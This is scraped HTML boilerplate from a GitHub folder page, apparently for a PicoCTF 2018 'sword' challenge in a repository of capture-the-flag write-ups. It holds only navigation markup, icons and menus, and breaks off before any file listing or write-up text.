1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> 0n3m4ns4rmy </span> <span>/</span> ctf-write-ups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>12</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":142745576,"originating_url":"https://github.com/0n3m4ns4rmy/ctf-write-ups/tree/master/Pico%20CTF%202018/sword","user_id":null}}" data-hydro-click-hmac="5b94c3128e163470a5b14b7a3ad989bf06c560bc5b9917a95c94e3979f02ce10"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/0n3m4ns4rmy/ctf-write-ups/refs" cache-key="v0:1532854671.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="MG4zbTRuczRybXkvY3RmLXdyaXRlLXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/0n3m4ns4rmy/ctf-write-ups/refs" cache-key="v0:1532854671.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="MG4zbTRuczRybXkvY3RmLXdyaXRlLXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>Pico CTF 2018</span></span><span>/</span>sword<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>Pico CTF 2018</span></span><span>/</span>sword<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/tree-commit/1c47fb1fb361cd62e314ab6d919e0892f33f8efc/Pico%20CTF%202018/sword" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton 